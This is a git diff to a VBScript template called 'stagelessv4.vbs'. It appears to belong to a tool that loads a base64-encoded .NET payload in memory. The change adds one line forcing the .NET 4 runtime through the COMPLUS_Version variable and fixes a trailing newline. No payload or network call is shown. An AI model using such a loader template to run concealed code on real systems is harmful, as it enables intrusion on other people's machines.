diff --git a/templates/stagelessv4.vbs b/templates/stagelessv4.vbs
index 4d7a9e1..cb62259 100644
--- a/templates/stagelessv4.vbs
+++ b/templates/stagelessv4.vbs
@@ -4,6 +4,7 @@ End Sub
 Sub SetVersion
 Dim shell
 Set shell = CreateObject("WScript.Shell")
+shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
 End Sub
 
 Function Base64ToStream(b)
@@ -253,4 +254,4 @@ Run
 If Err.Number <> 0 Then
   DebugPrint Err.Description
   Err.Clear
-End If
\ No newline at end of file
+End If